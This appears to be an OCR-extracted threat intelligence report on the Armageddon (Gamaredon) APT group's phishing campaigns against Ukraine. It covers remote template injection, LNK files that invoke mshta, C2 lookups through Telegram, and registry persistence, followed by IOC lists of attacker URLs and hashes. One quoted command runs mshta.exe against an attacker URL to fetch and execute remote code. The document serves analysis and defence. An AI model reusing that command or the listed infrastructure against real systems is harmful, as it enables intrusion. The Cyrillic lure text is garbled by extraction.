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Beyond Bullets and Bombs:
An Examination of Armageddon Group's Cyber Warfare Against Ukraine
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Beyond Bullets and Bombs:
An Examination of Armageddon Group's Cyber Warfare Against Ukraine

Introduction

The ongoing conflict between Russia and Ukraine has been marked by cyber attacks
from both sides. One of the most prominent threat actors involved in these attacks is the
Armageddon (Gamaredon) Advanced Persistent Threat (APT) group. The various campaigns
used by the Gamaredon APT group in their attacks against Ukraine are analyzed in this report.
The group's tactics, techniques, and procedures (TTPs), as well as their motivation and
objectives, are examined. By understanding the methods employed by this threat actor, better
preparation can be made to defend against future attacks and mitigate their impact.

What is an APT Group?

APT (Advanced Persistent Threat) group refers to a sophisticated, organized and well-
resourced group of cyber attackers who use advanced technigues and tactics to infiltrate and
maintain access to a target network or system over an extended period of time, with the aim
of stealing sensitive data, conducting espionage or disrupting operations.

APT groups are typically comprised of skilled and experienced hackers who are capable of
employing a wide range of tactics, such as social engineering, spear-phishing, zero-day
exploits, and malware to compromise their target. These groups are often sponsored by
nation-states, criminal organizations, or other entities with a vested interest in the targeted
data or system.

Who is Armageddon?

Armageddon is an APT group that has been active since at least 2013 and is believed
to be based in Russia. The group has been attributed to a number of cyberattacks targeting
government organizations, military entities, and other high-value targets in Ukraine and other
countries in the region.

Armageddon is known for using a variety of tactics, including spear-phishing emails, social
engineering, and the use of custom malware. The group's attacks often involve the theft of
sensitive data, including emails, documents, and login credentials.
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General Anatomy of Different Types of Attacks

Phishing Mail
\ 4
N N
RTF via LNK via DOCX via
Remote MSHTA EXE Remote
Template Template
Scripts

—</>

o

O —

(=l ol =]

\ 4

<[>

Y

2

Poweshell Payloads

O O
(= =
Oor O
=
e ™ ]

VBScript

-
-0

PE Binary

7/
4



Beyond Bullets and Bombs:
An Examination of Armageddon Group's Cyber Warfare Against Ukraine

Initial Access and Execution

Initial Access via Spearphishing

Matepiami KpUMiHATBHOTO TipoBamkeHHT Ne12023100160000001 Bix 18.01.2023 3a 03HaKaMII BUIHSHHS KPIMIHATEHOTO TIPABOTIOPYIIICHHS,
nepeadaueHoro 1. 1 cr. 364 KK VkpaiHil cTOCOBHO TIPOTIMIPpaBHIIX Jiii BifichkkoBocmykOoBig MO VkpaiHil.

Binain indopmauiiiHol noniTikn
JIHinpomeTpoBcbKol 00/1aCHOI MPOKYPATYPH

ITomroBa agpeca:

49044, M. JTainpo, mip-T Tvutpa SIBopHIMIBEKOTO, 38

EnekTpoHHa MOIITA U4 BIIOMYOTO JHICTYBAaHHA: Pressl@prokuratura.dp.ua
Temedor A oTprMaHHA iH(POPMATIi TIPO PeECTPAINIO BXITHOI KOPECTIOHIEHITII:
(056) 718-13-50

“Criminal case materials No. 12023100160000001 dated 18.01.2023 on the grounds of committing a criminal
offense provided for in part 1 of Article 364 of the Criminal Code of Ukraine regarding the illegal actions of a
serviceman of the Ukrainian Armed Forces.

Department of Information Policy

Dnipropetrovsk Regional Prosecutor's Office”

Armageddon generally initiates its attacks with a phishing email. These emails sent to
the Ukrainian government entities typically contain topics related to internal affairs, foreign
affairs, and even the conflict with Russia.

These emails contain spear phishing attachments like RAR, DOCX, DOCM, LNK, SFX files.
When these attachments are executed by the victim, they all work in different ways. Let's look
at the file types they use most in their attacks.
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Remote Template Injection via RTF File

Jonatox 1
mo [onoxkerHs
npo CragkoBHI peecTp
BuxinHHI HOMEp 21-58/39
JHara 07 Gepesns 2023 poky
3ASBA
TIPO Jep KABHY PeecTPalliio 3aMOBITIB Ta CAIKOBHX JOTOBOPIB

PeecTpanifiaui HoMep 06:1iK0B0I KapTKH
IUTATHHKA TIOJTATKIR TIpHIHHA BiICYTHOCT]i HOMepa
HEEHERREEE

3a penirifHIMH HepeKOHAHHAMHE Hepesuzenr l:|
IHma MpHIHHA

TIpisBHMIe, iM’ 4 Ta 0 GaTBKOBI

| Iekpa Jligis Cepriisna |
TIpissHIe. iM" 4 Ta 0 GaTbKOBI aHITIHCBKOR MOBOIO

| |
Jara HapoxeHHA mm

Micne HapoKeHH (AKIIO Miclle HapoKeHHA HeBiIOMe, 3a3HATAcThCA KpalHa HapoIKeHHA)
| Xapxiscpka 061acTh HoBoBOZOMasEKHH paHoH c. HoBoceniBKa |

% Micre mposHBaHHA (MicoenepeGyBaHHs)

Kpaina Tanexc O6nacts Pafion
| VEpaiHa | 6 | 3 ‘ 2 ‘ 3 | 0 | XapkiBcpKa XapkiBchRHH |
Micto (cenmme, ceao BYIHIA ova. KOpIL. KB
IIpocsare npocnexT UymanbKkHHE | 25 | |
PeecTpanifiHHH HoMep 006:1iK0B01 KAPTKH

IUTATHHEA TIOJIATKIB IIpHYHHA BiICyTHOCT]I HOMepa
T 11 17 17T 17T 1T T T - s [ . [

Remote Template Injection in RTF or DOCX files is a technique where an attacker can
inject malicious code into a server-side template file within an RTF or DOCX document. This
can be achieved by embedding specially crafted OLE (Object Linking and Embedding) objects
into the document that point to a remote template file hosted on a server controlled by the
attacker.

Microsoft®

Word 2010

Contacting: http://could.ambiguous35.azzamsa.ru/HOJ/1A-MK/alongside/needl...

2.0ffice

© 2010 Microsoft Corporation, All rights reserved, Cancel
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When the victim opens the document, the OLE object requests the remote template
file, which contains the attacker's malicious code. The server-side template engine processes
the file, executes the injected code, and generates the final document with the malicious
content.

Armageddon uses remote template injected RTF and DOCX files to download the next stages
of the attacks.

MITRE ATT&CK TECHNIQUE NAME TECHNIQUE ID
Spearphishing Attachment T1566.001
User Execution T1204.002
Template Injection T1221

Remote Template Injection via DOCX File

Similar to the previous example, docx files can also be used in a remote template
injection attack.

W

MIHICTEPCTBO IOCTHIII VKPATHH
JEPKABHA YCTAHOBA
«XMEJBbHHIIbKHHN CJILTUHH I30ISITOP»

v, Kaw'seeners, 39, . Xuemmemese, 29013, ren (0381) 63-31-84 ren'thase (0382) 63-12-63, sizo@km kvs gov.ua, mog EIPTIOV 08564754

2023 Ne Ha BHX. Ne 686/21850/2228276
Bim 27.12.2022

Cynai XMeTbHHOBKOTO
MicbKkpaHoHHOTO cyay
XMeIbHANOBKOI 00aacTi
Poctucnasy JIVHD

gy, Iepois Maiidany, 54,
Xwerenugorud, 29000

TToBigoMIfro, MO A0 MOCATOBHX 00O0B’3KIB KalliTaHa BHYIPIMIHBOI cTy#kOH
BABEHKA ApteMm OIIeropH4a, CTapIIOro iHCHEKTOpPa (3 OpraHizallil KOMYHATBEHO-
mo0yTORBOIO Ta iHTeHNAHTCHKOIO 3afe3ledeHHd) BIiOIiny IiHTEHIAHICHLKOIO Ta
TOCIOJapchKOro z2ale3lledeHHs JepaBHOI YCTAHOBH «XMeIBHHIBKHH CIiTdHH
i30714ATOp» He BXOJHTb YTPHMAaHHA BYIHYHO-NLIAXOBOI Mepeki YCTAaHOBH (KOIIiA
IocamoBOl IHCTPYEIN JOJAETCA).

HomaTok: Ha apk.

Ha4aJIbHHK Y CTAHOBH
NOJIKOBHHK BHYTPIIHLO! CIVARGH Pycnan CYXOPAB
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Here you see an example of one of the malicious docx files that Armageddon uses.

Microsoft®

Word 2010

sa.Office

Downloading: http://allow.all25.ihsana.ru/BABENKO/luke/interface/allo... (0%)

© 2010 Microsoft Corporation. All rights reserved.

MITRE ATT&CK TECHNIQUE NAME

TECHNIQUE ID

Spearphishing Attachment T1566.001
User Execution T1204.002
Template Injection T1221

TAR Contains Malicious LNK File

; | | C\Users\falan\Desktop\new\d124919de870b5974639ba24dd80709ed890119bdecdbabat179464f cadefd52.tar\

L]

BignosigHo...
o_ctatni_20 3
aKoHy,_npoc
MMO_HaaaTv_
BIANOBIAL_MP
oTAromM_5_po
BoyMx_aHIB_3
_AHA_OTpMMa
HHA_3anuTy.|
nk

Similarly, a compressed TAR file containing a malicious LNK file is sent through a
phishing email. This LNK file initiates the next stage of the attack using mshta.exe which is a

VBScript to launch the other stage.

7/
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system32

X\mshta exe http://1954.180.174.203/23.01/mo/b

%windir%\system32\mshta.exe http://194.180.174[.]203/23.01/mo/baseball[.]DjVu

MITRE ATT&CK TECHNIQUE NAME TECHNIQUE ID
Spearphishing Attachment T1566.001
User Execution T1204.002
System Binary Proxy Execution: Mshta T1218.005

Defense Evasion

Abusing Telegram to Bypass DNS

Generally in the second stage, a malicious VBScript is used then they abuse Telegram
to get the real C2 IP address. For example https://t[.Jme/s/dracarc Telegram account used a lot

as you see in Virustotal communications.

Communicating Files (13) ©

Scanned Detections Type
2023-02-15 47 /168 Win32 EXE
2023-01-09 17 160 VBA
2022-12-22 51/72 Win32 EXE
2023-01-06 49 /71 Win32 EXE
2023-01-12 45170 Win32 EXE
2023-02-02 45 /69 Win32 EXE
2023-01-03 13 /60 VBA
2023-01-11 16 /60 VBA
2022-12-22 36 /72 Win32 EXE
2022-12-23 10 /61 VBA
2022-12-22 47172 Win32 EXE
2022-12-27 51/71 Win32 EXE
2023-02-21 42163 Win32 EXE

Name

myfile.exe

3a4cadb472759f0d94c694d49eb985d7c2a79b5d6d 1f23e1ebf231ee1a56 1ac.bin
3dc703eb1eef7f065b567b0fbc00e59792c2 1ebicd8e86d9a92e5969786ad99f bin
3e72981a45dcdbdaa178a3013710873ad90634729ffdd4b2c79c9a3a00f76f43 bin
TZSfxMod

TZ5fxMod
562fe7h0f110357a2403cad10c2656443d3729a4367581465921143013b7aed.bin
88b670d0dc025a14948924164d1c51b4064df7ae605b09978ed2718c5eTh4c84 bin
89db442ddbd539064331f32fa8e78f38d101352e1969389a9e91b543ff69a542 bin
C\Users\user412.dll
e304f806017c48f53ca5e2298157c84641e457b5749162c8a51715f881e4c0eb bin
7Z2SfxMod

7Z5fxMod
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Persistence

Even if the last payload is Powershell Script, VBScript or a PE File; it is trying to be
persistent. In the example, malicious PE is using the registry RUN key.

[l i =
mov [ebp+phkResult], eax
lea eax, [ebp+phkResult]
push eax ; phkResult
push 2080886h ; samDesired
push 2] ; ulOptions
push offset SubKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVe". ..
push 88080001h - hk_'_m:q
call ds:RegOpenkfs const CHAR SubKey[ ] o oo . .
tect eax, eax SubKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',®
jnz chort loc 4 ; DATA XREF: sub_4022F0+2Efo
Tl =& = b
IOCs
TYPE I0C
HASH 139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a
HASH 139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a
HASH d282519a5f0134e5a3db91702a4aa3b1322081b42a50147d30d9e6deab0d8321
HASH 9f01c93e9756bac770f8e9b1186fb3af2b0a61654d0al51c18a75f2d1f9ef06hb
URL https://162[.]33[.]178[.]129/KQaAD6Vq580x
URL http://45[.161[.]136[.]56/R3yWX7PNvShO
URL http://45[.]61[.]136[.]56/tSXjEnhwXlit
URL https://162[.]33[.]178[.]129/tATPpIKZL4OC
URL http://45[.]61[.]136[.]56/EPUSMcJIKYbPU
URL http://45[.]61[.]136[.]56/YHVJjgSZ74qp
URL http://45[.]61[.]136[.]56/e3XCvrcdbNuY
URL https://162[.]33[.J178[.]129/SN1nBKEyCVST
URL https://162[.]33[.]178[.]129/e0DITwnmX3pR
URL https://162[.]33[.]178[.]129/pDryEbxPYQfK

Y
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URL http://45[.]61[.]136[.]56/1m2IMKOHCaub

URL https://162[.]33[.]178[.]129/X1vOIsEb51Xp

URL https://162[.]33[.]178[.]129/0S7ghHRR61LA

URL https://162[.]33[.]178[.]129/7kycZ5DWL9v4

URL https://162[.]33[.]178[.]129/dFSAwcHoGcgH

URL http:/45[.]61[.]136[.]56/uhR32jjsecnB

URL https://162[.]33[.]178[.]129/TxYbildAWeBX

URL http://45[.]61[.]136[.]56/kH4yvcfenn40

URL http://45[.]61[.]136[.]56/0OplESKOMFF8f

URL http://45[.]61[.]136[.]56/LdARUXNMLj2Yw

URL http://45[.]61[.]136[.]56/U4p0dIQZQqH7

URL https://162[.]33[.]178[.]129/NaiJfvAZDNof

URL https://162[.]33[.]178].]129/UoG5qVCbhOnx7

URL https://162[.]33[.]178[.]129/ngqF3jAqWGPR

URL https://162[.]33[.]178[.]129/BqtZ4N1FGd3N

URL http://45[.]61[.]136[.]56/0TuH20gfT lei

URL https://162[.]33[.]178[.]129/HBChfC7Y2weE

URL http://45[.]61[.]136[.]56/MQLtICTPOPO7E

URL http://allow[.]all25.ihsana.ru/BABENKO/luke/interface/allowance/

URL http://could[.]ambiguous35[.]Jazzamsa[.]Jru/%D0%AE%D0%9B%D0%AF-
%D0%9F%D0%9A/alongside/needle/

URL http://t[.]Jme/s/chanellsac

URL http://t[.Jme/s/zapula2

URL http://t[.]Jme/s/zalup2

URL http://t[.]Jme/s/vozmoz2

URL http://t[.Jme/s/digitli

URL http://t[.Jme/s/dracarc

URL http://t[.Jme/s/randomnulls
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